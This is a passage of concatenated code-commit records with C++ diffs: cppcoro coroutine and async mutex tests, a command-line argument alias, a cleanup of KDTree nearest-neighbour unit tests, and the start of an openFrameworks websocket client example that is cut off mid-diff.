-> cppcoro::task<>\n\t\t{\n\t\t\tco_await t;\n\t\t\tassert(t.is_ready());\n\t\t\tassert(counter::active_count() == 1);\n\t\t}(t);\n\n\t\tassert(counter::active_count() == 1);\n\t}\n\n\tassert(counter::active_count() == 0);\n}\n\nvoid testLazyTaskReturnByReference()\n{\n\tint value = 3;\n\tauto f = [&]() -> cppcoro::lazy_task<int&>\n\t{\n\t\tco_return value;\n\t};\n\n\tauto g = [&]() -> cppcoro::task<>\n\t{\n\t\t{\n\t\t\tdecltype(auto) result = co_await f();\n\t\t\tstatic_assert(\n\t\t\t\tstd::is_same<decltype(result), int&>::value,\n\t\t\t\t\"co_await r-value reference of lazy_task<int&> should result in an int&\");\n\t\t\tassert(&result == &value);\n\t\t}\n\t\t{\n\t\t\tauto t = f();\n\t\t\tdecltype(auto) result = co_await t;\n\t\t\tstatic_assert(\n\t\t\t\tstd::is_same<decltype(result), int&>::value,\n\t\t\t\t\"co_await l-value reference of lazy_task<int&> should result in an int&\");\n\t\t\tassert(&result == &value);\n\t\t}\n\t};\n\n\tauto t = g();\n\tassert(t.is_ready());\n}\n\nvoid testAsyncMutex()\n{\n\tint value = 0;\n\tcppcoro::async_mutex mutex;\n\tcppcoro::single_consumer_event a;\n\tcppcoro::single_consumer_event b;\n\tcppcoro::single_consumer_event c;\n\tcppcoro::single_consumer_event d;\n\n\tauto f = [&](cppcoro::single_consumer_event& e) -> cppcoro::task<>\n\t{\n\t\tcppcoro::async_mutex_lock lock = co_await mutex.lock_async();\n\t\tco_await e;\n\t\t++value;\n\t};\n\n\tauto t1 = f(a);\n\tassert(!t1.is_ready());\n\tassert(value == 0);\n\n\tauto t2 = f(b);\n\tauto t3 = f(c);\n\n\ta.set();\n\n\tassert(value == 1);\n\n\tauto t4 = f(d);\n\n\tb.set();\n\n\tassert(value == 2);\n\n\tc.set();\n\n\tassert(value == 3);\n\n\td.set();\n\n\tassert(value == 4);\n\n\tassert(t1.is_ready());\n\tassert(t2.is_ready());\n\tassert(t3.is_ready());\n\tassert(t4.is_ready());\n}\n\nint main(int argc, char** argv)\n{\n\ttestAwaitSynchronouslyCompletingVoidFunction();\n\ttestAwaitTaskReturningMoveOnlyType();\n\ttestAwaitTaskReturningReference();\n\ttestAwaitDelayedCompletionChain();\n\ttestAwaitTaskReturningValueMovesIntoPromiseIfPassedRValue();\n\ttestAwaitTaskReturningValueCopiesIntoPromiseIfPassedLValue();\n\ttestAwaitingBrokenPromiseThrows();\n\ttestAwaitRethrowsException();\n\ttestAwaitWhenReadyDoesntThrowException();\n\n\ttestLazyTaskDoesntStartUntilAwaited();\n\ttestAwaitingDefaultConstructedLazyTaskThrowsBrokenPromise();\n\ttestAwaitingLazyTaskThatCompletesAsynchronously();\n\ttestLazyTaskResultLifetime();\n\ttestLazyTaskNeverAwaitedDestroysCapturedArgs();\n\ttestLazyTaskReturnByReference();\n\n\ttestAsyncMutex();\n\n\treturn 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright Hugh Perkins 2015 hughperkins at gmail\n\/\/\n\/\/ This Source Code Form is subject to the terms of the Mozilla Public License, \n\/\/ v. 2.0. If a copy of the MPL was not distributed with this file, You can \n\/\/ obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\n#include <iostream>\n#include <algorithm>\n\n#include \"LayerDimensions.h\"\n#include \"test\/GtestGlobals.h\"\n#include \"test\/TestArgsParser.h\"\n\n#include \"DimFromArgs.h\"\n\nusing namespace std;\n\nvoid DimFromArgs::arg( LayerDimensions *p_dim ) {\n    TestArgsParser::arg( \"inputplanes\", &(p_dim->inputPlanes) );\n    TestArgsParser::arg( \"inputboardsize\", &(p_dim->inputBoardSize) );\n    TestArgsParser::arg( \"numfilters\", &(p_dim->numFilters) );\n    TestArgsParser::arg( \"filtersize\", &(p_dim->filterSize) );\n    TestArgsParser::arg( \"padzeros\", &(p_dim->padZeros) );\n    TestArgsParser::arg( \"biased\", &(p_dim->biased) );\n\/\/    cout << \"DimFromArgs::arg() \" << *p_dim << endl;\n}\n\n\n<commit_msg>add numinputplanes to DimFromArgs<commit_after>\/\/ Copyright Hugh Perkins 2015 hughperkins at gmail\n\/\/\n\/\/ This Source Code Form is subject to the terms of the Mozilla Public License, \n\/\/ v. 2.0. If a copy of the MPL was not distributed with this file, You can \n\/\/ obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\n#include <iostream>\n#include <algorithm>\n\n#include \"LayerDimensions.h\"\n#include \"test\/GtestGlobals.h\"\n#include \"test\/TestArgsParser.h\"\n\n#include \"DimFromArgs.h\"\n\nusing namespace std;\n\nvoid DimFromArgs::arg( LayerDimensions *p_dim ) {\n    TestArgsParser::arg( \"inputplanes\", &(p_dim->inputPlanes) );\n    TestArgsParser::arg( \"numinputplanes\", &(p_dim->inputPlanes) );\n    TestArgsParser::arg( \"inputboardsize\", &(p_dim->inputBoardSize) );\n    TestArgsParser::arg( \"numfilters\", &(p_dim->numFilters) );\n    TestArgsParser::arg( \"filtersize\", &(p_dim->filterSize) );\n    TestArgsParser::arg( \"padzeros\", &(p_dim->padZeros) );\n    TestArgsParser::arg( \"biased\", &(p_dim->biased) );\n\/\/    cout << \"DimFromArgs::arg() \" << *p_dim << endl;\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ ========================================================================== \/\/\n\/\/ This file is part of DO++, a basic set of libraries in C++ for computer \n\/\/ vision.\n\/\/\n\/\/ Copyright (C) 2013 David Ok <david.ok8@gmail.com>\n\/\/\n\/\/ This Source Code Form is subject to the terms of the Mozilla Public \n\/\/ License v. 2.0. If a copy of the MPL was not distributed with this file, \n\/\/ you can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\/\/ ========================================================================== \/\/\n\n#include <gtest\/gtest.h>\n\n#include <DO\/KDTree.hpp>\n\n\nusing namespace DO;\nusing namespace std;\n\n\nclass TestKDTree : public testing::Test\n{\nprotected:\n  MatrixXd data;\n  size_t num_points;\n  size_t num_points_in_circle;\n\n  TestKDTree()\n  {\n    \/\/ We construct two sets in points. The first one lives in the \n    \/\/ zero-centered unit circle and the second in the zero-centered\n    \/\/ circle with radius 10.\n    num_points_in_circle = 5;\n    num_points = 2*num_points_in_circle;\n    data.resize(2, num_points);\n\n    const size_t& N = num_points_in_circle;\n    for (size_t i = 0; i < N; ++i)\n    {\n      double theta = i \/ (2*N*M_PI);\n      data.col(i) << cos(theta), sin(theta);\n    }\n\n    for (size_t i = N; i < 2*N; ++i)\n    {\n      double theta = i \/ (2*N*M_PI);\n      data.col(i) << 10*cos(theta), 10*sin(theta);\n    }\n  }\n};\n\n\nTEST_F(TestKDTree, test_simple_knn_search)\n{\n  KDTree tree(data);\n\n  Vector2d query = Vector2d::Zero();\n  size_t num_nearest_neighbors = num_points_in_circle;\n\n  vector<int> indices;\n  vector<double> squared_distances;\n\n  tree.knn_search(query, num_nearest_neighbors, indices,\n                  squared_distances);\n\n  EXPECT_EQ(indices.size(), num_nearest_neighbors);\n  for (size_t j = 0; j < indices.size(); ++j)\n  {\n    EXPECT_LE(indices[j], num_nearest_neighbors);\n    EXPECT_NEAR(squared_distances[j], 1., 1e-10);\n  }\n}\n\nTEST_F(TestKDTree, test_simple_radius_search)\n{\n  \/\/ Input data.\n  KDTree tree(data);\n  Vector2d query = Vector2d::Zero();\n  size_t num_nearest_neighbors = num_points_in_circle;\n  double squared_search_radius = 1.0001;\n\n  \/\/ In-out data.\n  vector<int> nn_indices;\n  vector<double> nn_squared_distances;\n\n  \/\/ Output data.\n  int num_found_neighbors;\n\n\n  \/\/ First use case: we want to examine the squared distances.\n  num_found_neighbors = tree.radius_search(\n    query,\n    squared_search_radius,\n    nn_indices,\n    nn_squared_distances);\n\n  EXPECT_EQ(nn_indices.size(), num_nearest_neighbors);\n  EXPECT_EQ(num_found_neighbors, num_nearest_neighbors);\n  for (size_t j = 0; j < nn_indices.size(); ++j)\n  {\n    EXPECT_LE(nn_indices[j], num_nearest_neighbors);\n    EXPECT_NEAR(nn_squared_distances[j], 1., 1e-10);\n  }\n\n\n  \/\/ Second use case: we want to limit the number of neighbors to return.\n  size_t max_num_nearest_neighbors = 2;\n  num_found_neighbors = tree.radius_search(query,\n                                           squared_search_radius,\n                                           nn_indices,\n                                           nn_squared_distances,\n                                           max_num_nearest_neighbors);\n\n  EXPECT_EQ(nn_indices.size(), max_num_nearest_neighbors);\n  EXPECT_EQ(num_found_neighbors, max_num_nearest_neighbors);\n  for (size_t j = 0; j < nn_indices.size(); ++j)\n  {\n    EXPECT_LE(nn_indices[j], num_nearest_neighbors);\n    EXPECT_NEAR(nn_squared_distances[j], 1., 1e-10);\n  }\n}\n\n\nTEST_F(TestKDTree, test_simple_knn_search_with_query_point_in_data)\n{\n  KDTree tree(data);\n\n  size_t query_index = 0;\n  size_t num_nearest_neighbors = num_points_in_circle-1;\n\n  vector<int> indices;\n  vector<double> squared_distances;\n\n  tree.knn_search(query_index, num_nearest_neighbors, indices,\n                  squared_distances);\n\n  EXPECT_EQ(indices.size(), num_nearest_neighbors);\n  for (size_t j = 0; j < indices.size(); ++j)\n  {\n    EXPECT_LE(indices[j], num_nearest_neighbors);\n    EXPECT_LE(squared_distances[j], 2.);\n  }\n}\n\nTEST_F(TestKDTree, test_simple_radius_search_with_query_point_in_data)\n{\n  \/\/ Input data.\n  KDTree tree(data);\n  size_t query = 0;\n  size_t num_nearest_neighbors = num_points_in_circle-1;\n  double squared_search_radius = 2.0001;\n\n  \/\/ In-out data.\n  vector<int> nn_indices;\n  vector<double> nn_squared_distances;\n\n  \/\/ Output data.\n  int num_found_neighbors;\n\n  \/\/ First use case: we want to examine the squared distances.\n  num_found_neighbors = tree.radius_search(\n    query,\n    squared_search_radius,\n    nn_indices,\n    nn_squared_distances);\n\n  EXPECT_EQ(nn_indices.size(), num_nearest_neighbors);\n  EXPECT_EQ(num_found_neighbors, num_nearest_neighbors);\n  for (size_t j = 0; j < nn_indices.size(); ++j)\n  {\n    EXPECT_LE(nn_indices[j], num_nearest_neighbors);\n    EXPECT_LE(nn_squared_distances[j], 2.);\n  }\n\n\n  \/\/ Second use case: we want to limit the number of neighbors to return.\n  size_t max_num_nearest_neighbors = 2;\n  num_found_neighbors = tree.radius_search(query,\n                                           squared_search_radius,\n                                           nn_indices,\n                                           nn_squared_distances,\n                                           max_num_nearest_neighbors);\n\n  EXPECT_EQ(nn_indices.size(), max_num_nearest_neighbors);\n  EXPECT_EQ(num_found_neighbors, max_num_nearest_neighbors);\n  for (size_t j = 0; j < nn_indices.size(); ++j)\n  {\n    EXPECT_LE(nn_indices[j], num_nearest_neighbors);\n    EXPECT_LE(nn_squared_distances[j], 2.);\n  }\n}\n\n\nTEST_F(TestKDTree, test_batch_knn_search)\n{\n  KDTree tree(data);\n  const size_t& num_queries = num_points_in_circle;\n  const size_t& num_nearest_neighbors = num_points_in_circle;\n  MatrixXd queries(data.leftCols(num_queries));\n\n  vector<vector<int> > indices;\n  vector<vector<double> > squared_distances;\n\n  tree.knn_search(queries, num_nearest_neighbors, indices, squared_distances);\n\n  EXPECT_EQ(indices.size(), num_queries);\n  for (size_t i = 0; i < num_queries; ++i)\n  {\n    EXPECT_EQ(indices[i].size(), num_queries);\n    for (size_t j = 0; j < indices[i].size(); ++j)\n    {\n      EXPECT_LE(indices[i][j], num_queries);\n      EXPECT_LE(squared_distances[i][j], 2.);\n    }\n  }\n}\n\nTEST_F(TestKDTree, test_batch_radius_search)\n{\n  \/\/ Input data.\n  KDTree tree(data);\n  const size_t& num_queries = num_points_in_circle;\n  MatrixXd queries(data.leftCols(num_queries));\n  double squared_search_radius = 2.0001;\n\n  \/\/ In-out data.\n  vector<vector<int> > nn_indices;\n  vector<vector<double> > nn_squared_distances;\n\n\n  \/\/ First use case: we want to examine the squared distances.\n  tree.radius_search(\n    queries,\n    squared_search_radius,\n    nn_indices,\n    nn_squared_distances);\n\n  EXPECT_EQ(nn_indices.size(), num_queries);\n  for (size_t i = 0; i < num_queries; ++i)\n  {\n    EXPECT_EQ(nn_indices[i].size(), num_queries);\n    for (size_t j = 0; j < nn_indices[i].size(); ++j)\n    {\n      EXPECT_LE(nn_indices[i][j], num_queries);\n      EXPECT_LE(nn_squared_distances[i][j], 2.);\n    }\n  }\n\n\n  \/\/ Second use case: we want to limit the number of neighbors to return.\n  size_t max_num_nearest_neighbors = 2;\n  tree.radius_search(queries, squared_search_radius, nn_indices,\n                     nn_squared_distances, max_num_nearest_neighbors);\n\n  EXPECT_EQ(nn_indices.size(), num_queries);\n  for (size_t i = 0; i < num_queries; ++i)\n  {\n    EXPECT_EQ(nn_indices[i].size(), max_num_nearest_neighbors);\n    for (size_t j = 0; j < nn_indices[i].size(); ++j)\n    {\n      EXPECT_LE(nn_indices[i][j], num_queries);\n      EXPECT_LE(nn_squared_distances[i][j], 2.);\n    }\n  }\n}\n\n\nTEST_F(TestKDTree, test_batch_knn_search_with_query_point_in_data)\n{\n  KDTree tree(data);\n  const size_t num_queries = num_points_in_circle;\n  const size_t num_nearest_neighbors = num_points_in_circle-1;\n\n  vector<size_t> queries(num_queries);\n  for (size_t i = 0; i != queries.size(); ++i)\n    queries[i] = i;\n\n  vector<vector<int> > indices;\n  vector<vector<double> > squared_distances;\n\n  tree.knn_search(queries, num_nearest_neighbors, indices, squared_distances);\n\n  EXPECT_EQ(indices.size(), num_queries);\n  for (size_t i = 0; i != indices.size(); ++i)\n  {\n    EXPECT_EQ(indices[i].size(), num_nearest_neighbors);\n    for (size_t j = 0; j < indices[i].size(); ++j)\n    {\n      EXPECT_LE(indices[i][j], num_nearest_neighbors);\n      EXPECT_LE(squared_distances[i][j], 2.);\n    }\n  }\n}\n\nTEST_F(TestKDTree, test_batch_radius_search_with_query_point_in_data)\n{\n  \/\/ Input data.\n  KDTree tree(data);\n  const size_t& num_queries = num_points_in_circle;\n  vector<size_t> queries;\n  for (size_t i = 0; i < num_queries; ++i)\n    queries.push_back(i);\n  double squared_search_radius = 2.0001;\n\n  \/\/ In-out data.\n  vector<vector<int> > nn_indices;\n  vector<vector<double> > nn_squared_distances;\n\n  \/\/ First use case: we want to examine the squared distances.\n  tree.radius_search(\n    queries,\n    squared_search_radius,\n    nn_indices,\n    nn_squared_distances);\n\n  EXPECT_EQ(nn_indices.size(), num_queries);\n  for (size_t i = 0; i < num_queries; ++i)\n  {\n    EXPECT_EQ(nn_indices[i].size(), num_queries-1);\n    for (size_t j = 0; j < nn_indices[i].size(); ++j)\n    {\n      EXPECT_LE(nn_indices[i][j], num_queries);\n      EXPECT_LE(nn_squared_distances[i][j], 2.);\n    }\n  }\n\n\n  \/\/ Second use case: we want to limit the number of neighbors to return.\n  size_t max_num_nearest_neighbors = 2;\n  tree.radius_search(queries, squared_search_radius, nn_indices,\n    nn_squared_distances, max_num_nearest_neighbors);\n\n  EXPECT_EQ(nn_indices.size(), num_queries);\n  for (size_t i = 0; i < num_queries; ++i)\n  {\n    EXPECT_EQ(nn_indices[i].size(), max_num_nearest_neighbors);\n    for (size_t j = 0; j < nn_indices[i].size(); ++j)\n    {\n      EXPECT_LE(nn_indices[i][j], num_queries);\n      EXPECT_LE(nn_squared_distances[i][j], 2.);\n    }\n  }\n}\n\n\nint main(int argc, char **argv) \n{\n  testing::InitGoogleTest(&argc, argv);\n  return RUN_ALL_TESTS();\n}<commit_msg>Clean up unit tests.<commit_after>\/\/ ========================================================================== \/\/\n\/\/ This file is part of DO++, a basic set of libraries in C++ for computer \n\/\/ vision.\n\/\/\n\/\/ Copyright (C) 2013 David Ok <david.ok8@gmail.com>\n\/\/\n\/\/ This Source Code Form is subject to the terms of the Mozilla Public \n\/\/ License v. 2.0. If a copy of the MPL was not distributed with this file, \n\/\/ you can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\/\/ ========================================================================== \/\/\n\n\/\/! TODO: this is a messy set of unit tests. It maybe worth reinstating Google\n\/\/! mock in the library. We can compare easily vectors.\n\n#include <set>\n\n#include <gtest\/gtest.h>\n\n#include <DO\/KDTree.hpp>\n\n\nusing namespace DO;\nusing namespace std;\n\n\ninline vector<int> range(int begin, int end)\n{\n  vector<int> _range(end-begin);\n  for (int i = begin; i < end; ++i)\n    _range[i-begin] = i;\n  return _range;\n}\n\ninline vector<int> range(int end)\n{\n  return range(0, end);\n}\n\ntemplate <typename T>\ninline set<T> to_set(const vector<T>& v)\n{\n  return set<T>(v.begin(), v.end());\n}\n\n\/\/ Define a macro that does something 'self.assertItemsEqual' in Python.\n#define EXPECT_ITEMS_EQ(vector1, vector2) \\\nEXPECT_EQ(to_set(vector1), to_set(vector2))\n\n\nclass TestKDTree : public testing::Test\n{\nprotected:\n  MatrixXd data;\n  size_t num_points;\n  size_t num_points_in_circle;\n\n  TestKDTree()\n  {\n    \/\/ We construct two sets in points. The first one lives in the \n    \/\/ zero-centered unit circle and the second in the zero-centered\n    \/\/ circle with radius 10.\n    num_points_in_circle = 5;\n    num_points = 2*num_points_in_circle;\n    data.resize(2, num_points);\n\n    const size_t& N = num_points_in_circle;\n    for (size_t i = 0; i < N; ++i)\n    {\n      double theta = i \/ (2*N*M_PI);\n      data.col(i) << cos(theta), sin(theta);\n    }\n\n    for (size_t i = N; i < 2*N; ++i)\n    {\n      double theta = i \/ (2*N*M_PI);\n      data.col(i) << 10*cos(theta), 10*sin(theta);\n    }\n  }\n};\n\n\nTEST_F(TestKDTree, test_simple_knn_search)\n{\n  KDTree tree(data);\n\n  Vector2d query = Vector2d::Zero();\n  size_t num_nearest_neighbors = num_points_in_circle;\n\n  vector<int> nn_indices;\n  vector<double> nn_squared_distances;\n\n  tree.knn_search(query, num_nearest_neighbors, nn_indices,\n                  nn_squared_distances);\n\n  \/\/ Check equality of items.\n  EXPECT_ITEMS_EQ(nn_indices, range(num_points_in_circle));\n\n  \/\/ Check the squared distances.\n  for (size_t j = 0; j < nn_indices.size(); ++j)\n    EXPECT_NEAR(nn_squared_distances[j], 1., 1e-10);\n}\n\nTEST_F(TestKDTree, test_simple_radius_search)\n{\n  \/\/ Input data.\n  KDTree tree(data);\n  Vector2d query = Vector2d::Zero();\n  size_t num_nearest_neighbors = num_points_in_circle;\n  double squared_search_radius = 1.0001;\n\n  \/\/ In-out data.\n  vector<int> nn_indices;\n  vector<double> nn_squared_distances;\n\n  \/\/ Output data.\n  int num_found_neighbors;\n\n\n  \/\/ First use case: we want to examine the squared distances.\n  num_found_neighbors = tree.radius_search(\n    query,\n    squared_search_radius,\n    nn_indices,\n    nn_squared_distances);\n\n  EXPECT_EQ(nn_indices.size(), num_nearest_neighbors);\n  EXPECT_EQ(num_found_neighbors, num_nearest_neighbors);\n  EXPECT_ITEMS_EQ(nn_indices, range(num_points_in_circle));\n  for (size_t j = 0; j < nn_indices.size(); ++j)\n    EXPECT_NEAR(nn_squared_distances[j], 1., 1e-10);\n\n\n  \/\/ Second use case: we want to limit the number of neighbors to return.\n  size_t max_num_nearest_neighbors = 2;\n  num_found_neighbors = tree.radius_search(query,\n                                           squared_search_radius,\n                                           nn_indices,\n                                           nn_squared_distances,\n                                           max_num_nearest_neighbors);\n  EXPECT_EQ(nn_indices.size(), max_num_nearest_neighbors);\n  EXPECT_EQ(num_found_neighbors, max_num_nearest_neighbors);\n  EXPECT_ITEMS_EQ(nn_indices, range(num_points_in_circle));\n  for (size_t j = 0; j < nn_indices.size(); ++j)\n    EXPECT_NEAR(nn_squared_distances[j], 1., 1e-10);\n}\n\n\nTEST_F(TestKDTree, test_simple_knn_search_with_query_point_in_data)\n{\n  KDTree tree(data);\n\n  size_t query_index = 0;\n  size_t num_nearest_neighbors = num_points_in_circle-1;\n\n  vector<int> indices;\n  vector<double> squared_distances;\n\n  tree.knn_search(query_index, num_nearest_neighbors, indices,\n                  squared_distances);\n\n  EXPECT_EQ(indices.size(), num_nearest_neighbors);\n  for (size_t j = 0; j < indices.size(); ++j)\n  {\n    EXPECT_LE(indices[j], num_nearest_neighbors);\n    EXPECT_LE(squared_distances[j], 2.);\n  }\n}\n\nTEST_F(TestKDTree, test_simple_radius_search_with_query_point_in_data)\n{\n  \/\/ Input data.\n  KDTree tree(data);\n  size_t query = 0;\n  size_t num_nearest_neighbors = num_points_in_circle-1;\n  double squared_search_radius = 2.0001;\n\n  \/\/ In-out data.\n  vector<int> nn_indices;\n  vector<double> nn_squared_distances;\n\n  \/\/ Output data.\n  int num_found_neighbors;\n\n  \/\/ First use case: we want to examine the squared distances.\n  num_found_neighbors = tree.radius_search(\n    query,\n    squared_search_radius,\n    nn_indices,\n    nn_squared_distances);\n\n  EXPECT_EQ(nn_indices.size(), num_nearest_neighbors);\n  EXPECT_EQ(num_found_neighbors, num_nearest_neighbors);\n  for (size_t j = 0; j < nn_indices.size(); ++j)\n  {\n    EXPECT_LE(nn_indices[j], num_nearest_neighbors);\n    EXPECT_LE(nn_squared_distances[j], 2.);\n  }\n\n\n  \/\/ Second use case: we want to limit the number of neighbors to return.\n  size_t max_num_nearest_neighbors = 2;\n  num_found_neighbors = tree.radius_search(query,\n                                           squared_search_radius,\n                                           nn_indices,\n                                           nn_squared_distances,\n                                           max_num_nearest_neighbors);\n\n  EXPECT_EQ(nn_indices.size(), max_num_nearest_neighbors);\n  EXPECT_EQ(num_found_neighbors, max_num_nearest_neighbors);\n  for (size_t j = 0; j < nn_indices.size(); ++j)\n  {\n    EXPECT_LE(nn_indices[j], num_nearest_neighbors);\n    EXPECT_LE(nn_squared_distances[j], 2.);\n  }\n}\n\n\nTEST_F(TestKDTree, test_batch_knn_search)\n{\n  KDTree tree(data);\n  const size_t& num_queries = num_points_in_circle;\n  const size_t& num_nearest_neighbors = num_points_in_circle;\n  MatrixXd queries(data.leftCols(num_queries));\n\n  vector<vector<int> > indices;\n  vector<vector<double> > squared_distances;\n\n  tree.knn_search(queries, num_nearest_neighbors, indices, squared_distances);\n\n  EXPECT_EQ(indices.size(), num_queries);\n  for (size_t i = 0; i < num_queries; ++i)\n  {\n    EXPECT_EQ(indices[i].size(), num_queries);\n    for (size_t j = 0; j < indices[i].size(); ++j)\n    {\n      EXPECT_LE(indices[i][j], num_queries);\n      EXPECT_LE(squared_distances[i][j], 2.);\n    }\n  }\n}\n\nTEST_F(TestKDTree, test_batch_radius_search)\n{\n  \/\/ Input data.\n  KDTree tree(data);\n  const size_t& num_queries = num_points_in_circle;\n  MatrixXd queries(data.leftCols(num_queries));\n  double squared_search_radius = 2.0001;\n\n  \/\/ In-out data.\n  vector<vector<int> > nn_indices;\n  vector<vector<double> > nn_squared_distances;\n\n\n  \/\/ First use case: we want to examine the squared distances.\n  tree.radius_search(\n    queries,\n    squared_search_radius,\n    nn_indices,\n    nn_squared_distances);\n\n  EXPECT_EQ(nn_indices.size(), num_queries);\n  for (size_t i = 0; i < num_queries; ++i)\n  {\n    EXPECT_EQ(nn_indices[i].size(), num_queries);\n    for (size_t j = 0; j < nn_indices[i].size(); ++j)\n    {\n      EXPECT_LE(nn_indices[i][j], num_queries);\n      EXPECT_LE(nn_squared_distances[i][j], 2.);\n    }\n  }\n\n\n  \/\/ Second use case: we want to limit the number of neighbors to return.\n  size_t max_num_nearest_neighbors = 2;\n  tree.radius_search(queries, squared_search_radius, nn_indices,\n                     nn_squared_distances, max_num_nearest_neighbors);\n\n  EXPECT_EQ(nn_indices.size(), num_queries);\n  for (size_t i = 0; i < num_queries; ++i)\n  {\n    EXPECT_EQ(nn_indices[i].size(), max_num_nearest_neighbors);\n    for (size_t j = 0; j < nn_indices[i].size(); ++j)\n    {\n      EXPECT_LE(nn_indices[i][j], num_queries);\n      EXPECT_LE(nn_squared_distances[i][j], 2.);\n    }\n  }\n}\n\n\nTEST_F(TestKDTree, test_batch_knn_search_with_query_point_in_data)\n{\n  KDTree tree(data);\n  const size_t num_queries = num_points_in_circle;\n  const size_t num_nearest_neighbors = num_points_in_circle-1;\n\n  vector<size_t> queries(num_queries);\n  for (size_t i = 0; i != queries.size(); ++i)\n    queries[i] = i;\n\n  vector<vector<int> > indices;\n  vector<vector<double> > squared_distances;\n\n  tree.knn_search(queries, num_nearest_neighbors, indices, squared_distances);\n\n  EXPECT_EQ(indices.size(), num_queries);\n  for (size_t i = 0; i != indices.size(); ++i)\n  {\n    EXPECT_EQ(indices[i].size(), num_nearest_neighbors);\n    for (size_t j = 0; j < indices[i].size(); ++j)\n    {\n      EXPECT_LE(indices[i][j], num_nearest_neighbors);\n      EXPECT_LE(squared_distances[i][j], 2.);\n    }\n  }\n}\n\nTEST_F(TestKDTree, test_batch_radius_search_with_query_point_in_data)\n{\n  \/\/ Input data.\n  KDTree tree(data);\n  const size_t& num_queries = num_points_in_circle;\n  vector<size_t> queries;\n  for (size_t i = 0; i < num_queries; ++i)\n    queries.push_back(i);\n  double squared_search_radius = 2.0001;\n\n  \/\/ In-out data.\n  vector<vector<int> > nn_indices;\n  vector<vector<double> > nn_squared_distances;\n\n  \/\/ First use case: we want to examine the squared distances.\n  tree.radius_search(\n    queries,\n    squared_search_radius,\n    nn_indices,\n    nn_squared_distances);\n\n  EXPECT_EQ(nn_indices.size(), num_queries);\n  for (size_t i = 0; i < num_queries; ++i)\n  {\n    EXPECT_EQ(nn_indices[i].size(), num_queries-1);\n    for (size_t j = 0; j < nn_indices[i].size(); ++j)\n    {\n      EXPECT_LE(nn_indices[i][j], num_queries);\n      EXPECT_LE(nn_squared_distances[i][j], 2.);\n    }\n  }\n\n\n  \/\/ Second use case: we want to limit the number of neighbors to return.\n  size_t max_num_nearest_neighbors = 2;\n  tree.radius_search(queries, squared_search_radius, nn_indices,\n    nn_squared_distances, max_num_nearest_neighbors);\n\n  EXPECT_EQ(nn_indices.size(), num_queries);\n  for (size_t i = 0; i < num_queries; ++i)\n  {\n    EXPECT_EQ(nn_indices[i].size(), max_num_nearest_neighbors);\n    for (size_t j = 0; j < nn_indices[i].size(); ++j)\n    {\n      EXPECT_LE(nn_indices[i][j], num_queries);\n      EXPECT_LE(nn_squared_distances[i][j], 2.);\n    }\n  }\n}\n\n\nint main(int argc, char **argv) \n{\n  testing::InitGoogleTest(&argc, argv);\n  return RUN_ALL_TESTS();\n}<|endoftext|>"}
{"text":"<commit_before>#include \"ofApp.h\"\n\n\/\/--------------------------------------------------------------\nvoid ofApp::setup(){\n    ofBackground(0);\n    ofSetLogLevel(OF_LOG_VERBOSE);\n    \/\/ basic connection:\n    \/\/ client.connect(\"echo.websocket.org\");\n    \/\/ OR optionally use SSL\n    \/\/ client.connect(\"echo.websocket.org\", true);\n    \n    \/\/ advanced: set keep-alive timeouts for events like\n    \/\/ loss of internet\n    \n    \/\/ 1 - get default options\n    ofxLibwebsockets::ClientOptions options = ofxLibwebsockets::defaultClientOptions();\n    \n    \/\/ 2 - set basic params\n    options.host = \"echo.websocket.org\";\n    \n    \/\/ 3 - set keep alive params\n    \/\/ BIG GOTCHA: on BSD systems, e.g. Mac OS X, these time params are system-wide\n    \/\/ ...so ka_time just says \"check if alive when you want\" instead of \"check if\n    \/\/ alive after X seconds\"\n    options.ka_time     = 1;\n\/\/    options.ka_probes   = 1;\n\/\/    options.ka_interval = 1;\n    \n    \/\/ 4 - connect\n    client.connect(options);\n    \n    ofSetLogLevel(OF_LOG_ERROR);\n    \n    client.addListener(this);\n    ofSetFrameRate(60);\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::update(){\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::draw(){\n    ofDrawBitmapString(\"Type anywhere to send 'hello' to your server\\nCheck the console for output!\", 10,20);\n    ofDrawBitmapString(client.isConnected() ? \"Client is connected\" : \"Client disconnected :(\", 10,50);\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::onConnect( ofxLibwebsockets::Event& args ){\n    cout<<\"on connected\"<<endl;\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::onOpen( ofxLibwebsockets::Event& args ){\n    cout<<\"on open\"<<endl;\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::onClose( ofxLibwebsockets::Event& args ){\n    cout<<\"on close\"<<endl;\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::onIdle( ofxLibwebsockets::Event& args ){\n    cout<<\"on idle\"<<endl;\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::onMessage( ofxLibwebsockets::Event& args ){\n    cout<<\"got message \"<<args.message<<endl;\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::onBroadcast( ofxLibwebsockets::Event& args ){\n    cout<<\"got broadcast \"<<args.message<<endl;\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::keyPressed(int key){\n    \n    client.send(\"Hello\");\n    cout << \"sending hello\" <<endl;\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::keyReleased(int key){\n    \n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::mouseMoved(int x, int y ){\n    \n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::mouseDragged(int x, int y, int button){\n    \n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::mousePressed(int x, int y, int button){\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::mouseReleased(int x, int y, int button){\n    \n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::windowResized(int w, int h){\n    \n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::gotMessage(ofMessage msg){\n    \n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::dragEvent(ofDragInfo dragInfo){\n    \n}<commit_msg>Update ofApp.cpp<commit_after>#include \"ofApp.h\"\n\n\/\/--------------------------------------------------------------\nvoid ofApp::setup(){\n    ofBackground(0);\n    ofSetLogLevel(OF_LOG_VERBOSE);\n    \/\/ basic connection:\n    \/\/ 